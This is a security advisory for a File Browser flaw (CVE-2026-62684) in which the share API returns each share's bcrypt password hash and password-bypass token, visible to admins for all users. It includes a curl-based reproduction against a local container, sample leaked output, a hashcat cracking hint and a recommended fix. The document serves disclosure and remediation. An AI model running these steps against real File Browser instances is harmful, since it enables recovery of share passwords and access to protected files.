Skip to content

GHSA-833g-cqhp-h72j CVE-2026-62684 GO-2026-6025

File Browser: Share API exposes the password hash and bypass token

Low Go
Severity
2.7 / 10
Low · CVSS 3.1
Exploit chance (EPSS)
0.43%
Chance of exploitation in the next 30 days. Higher than 37.57% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
CWE-522 Insufficiently Protected Credentials
Fix
2.63.17
Upgrade github.com/filebrowser/filebrowser/v2 to this version or later

Description

Summary

When a user creates a password-protected share or lists existing shares, the JSON response includes the full bcrypt password_hash and the secret token of the share. The Link storage struct is serialized directly with json.Marshal and tags password_hash and token for output, with no field filtering. Any authenticated user receives these secrets for their own shares, and an administrator listing all shares via GET /api/shares receives the password hash and bypass token for every user's shares, enabling offline cracking of share passwords and direct password-bypass access to protected shares.

Details

1. The Link struct serializes both secrets to JSON (share/share.go:10-19)

type Link struct {
    Hash         string `json:"hash" storm:"id,index"`
    Path         string `json:"path" storm:"index"`
    UserID       uint   `json:"userID"`
    Expire       int64  `json:"expire"`
    PasswordHash string `json:"password_hash,omitempty"`   // line 15, bcrypt hash exposed
    // Token is only set when PasswordHash is set; it bypasses the password.
    Token        string `json:"token,omitempty"`            // line 19, bypass token exposed
}

omitempty means the hash and token are emitted whenever a share is password-protected, i.e. in every response for such a share.

2. The share handlers return the full struct through unfiltered json.Marshal

sharePostHandler returns the created Link with renderJSON(w, r, s) (http/share.go:179); shareListHandler and shareGetsHandler return shares the same way (http/share.go:55, http/share.go:76). renderJSON performs an unfiltered json.Marshal(data) (http/utils.go:16), so every tagged field, including password_hash and token, reaches the client.

3. Administrators receive every user's secrets (http/share.go:36)

s, err = d.store.Share.All()   // admin path: returns ALL users' shares
// ...
return renderJSON(w, r, s)     // including each share's password_hash and token

An admin calling GET /api/shares receives the bcrypt hash and bypass token for all shares across all users.

PoC

Tested against filebrowser/filebrowser:v2.63.15.

Attack Vector: read the bcrypt hash and bypass token from the share API:

#1. Seed a file in /tmp and start a fresh v2.63.15 container
mkdir -p /tmp/filebrowser-test/srv/user1
echo "hello" > /tmp/filebrowser-test/srv/user1/readme.txt
docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4
B=http://localhost:8090

#2. Log in as admin
AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}')
T=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$AP\"}")

#3. Create a password-protected share
curl -s -X POST "$B/api/share/user1/readme.txt" -H "X-Auth: $T" -H 'Content-Type: application/json' \
     -d '{"password":"ShareSecret123!","expires":"24","unit":"hours"}'

#4. List shares (as admin this returns every user's shares, each with the bcrypt password_hash and bypass token)
curl -s "$B/api/shares" -H "X-Auth: $T"

The returned bcrypt hash cracks offline (hashcat -m 3200) to recover the share password, and the token opens the protected share directly without the password.

Expected output (reproduced on a fresh filebrowser-test container, v2.63.15):

Both the POST /api/share/... response and the GET /api/shares response return HTTP 200 with a body that includes the full bcrypt password_hash and the 128-character bypass token:

POST /api/share/user1/readme.txt   -> 200
GET  /api/shares                   -> 200
{
  "hash": "yy9159Cs",
  "path": "/user1/readme.txt",
  "userID": 1,
  "expire": 1781758642,
  "password_hash": "$2a$10$SX2h.eKiqMaThRTJNIKVxeVkbXSbGf5XoU0ZX2frcAasjE4RbvBla",
  "token": "bO4YpOtayjDNG_72qYk6MHIIn0BNxskySLSAbinAkPcKZX6XD2rRrtDX8Bmro..."
}

The hash cracks offline to the known password (bcrypt.checkpw(b"ShareSecret123!", hash) == True, hashcat -m 3200), and the token grants direct access to the password-protected share without knowing the password.

Impact

  • Offline password cracking: the bcrypt hash of every password-protected share is returned to clients; weak or reused share passwords can be recovered offline.
  • Password-bypass token leak: the token is the value that bypasses the share password entirely; exposing it in list responses lets any holder of the response open the protected share directly.
  • Admin sees everyone's secrets: GET /api/shares as an administrator returns the hash and token of every user's shares, broadening the exposure across all tenants.
  • Credential reuse risk: users who reuse an account or service password as a share password expose that password to offline recovery.

Recommended Fix

Never serialize the hash or the bypass token to clients. Change the JSON tags so the secrets stay server-side:

// share/share.go
type Link struct {
    Hash         string `json:"hash" storm:"id,index"`
    Path         string `json:"path" storm:"index"`
    UserID       uint   `json:"userID"`
    Expire       int64  `json:"expire"`
    PasswordHash string `json:"-" storm:"index"`   // never serialize
    Token        string `json:"-"`                 // never serialize in list responses
}

PasswordHash and Token are only needed server-side (for bcrypt.CompareHashAndPassword and token comparison during share authentication). If a client needs to know whether a share is password-protected, expose a derived HasPassword bool instead of the hash. Prefer a response DTO over serializing the storage struct directly so future field additions are not exposed by default.

Affected versions

Go

PackageVulnerableFixed in
github.com/filebrowser/filebrowser
all versions
No fix yet
github.com/filebrowser/filebrowser/v2
< 2.63.17
2.63.17

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/filebrowser/filebrowser/v2 Go → 2.63.17

go
go get github.com/filebrowser/filebrowser/v2@v2.63.17 && go mod tidy

Severity breakdown

CVSS 3.1 2.7

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

Weakness

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

How to prevent it
  • Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

CWE-522: Insufficiently Protected Credentials

The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.

How to prevent it
  • Architecture and Design: Use an appropriate security mechanism to protect the credentials.
  • Architecture and Design: Make appropriate use of cryptography to protect the credentials.
  • Implementation: Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-83xp-526h-j3ww
File Browser: Archive builder turns backslash filenames into path traversal (zip-slip)
Medium Also affects github.com/filebrowser/filebrowser
GHSA-7rc3-g7h6-22m7
File Browser: Colliding username normalization gives two users the same home directory
High Also affects github.com/filebrowser/filebrowser
GHSA-8wc8-hf36-mjh9
File Browser: ScopedFs follows a dangling symlink on write, letting a scoped user create files outside their scope
Medium Also affects github.com/filebrowser/filebrowser
GHSA-fmm7-x4gx-8jhr
File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup
High Also affects github.com/filebrowser/filebrowser
GHSA-xqp3-jq6g-x3qm
File Browser: Authentication Bypass via Proxy Auth Header Forgery
Critical Also affects github.com/filebrowser/filebrowser
GHSA-m93h-4hw7-5qcm
File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE)
Critical Also affects github.com/filebrowser/filebrowser
GHSA-8c9q-7855-wfxq
File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection
High Also affects github.com/filebrowser/filebrowser
GHSA-j9jx-hp4c-ghhh
File Browser has incorrect access control for public directory shares via rule path rebasing
High Also affects github.com/filebrowser/filebrowser
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor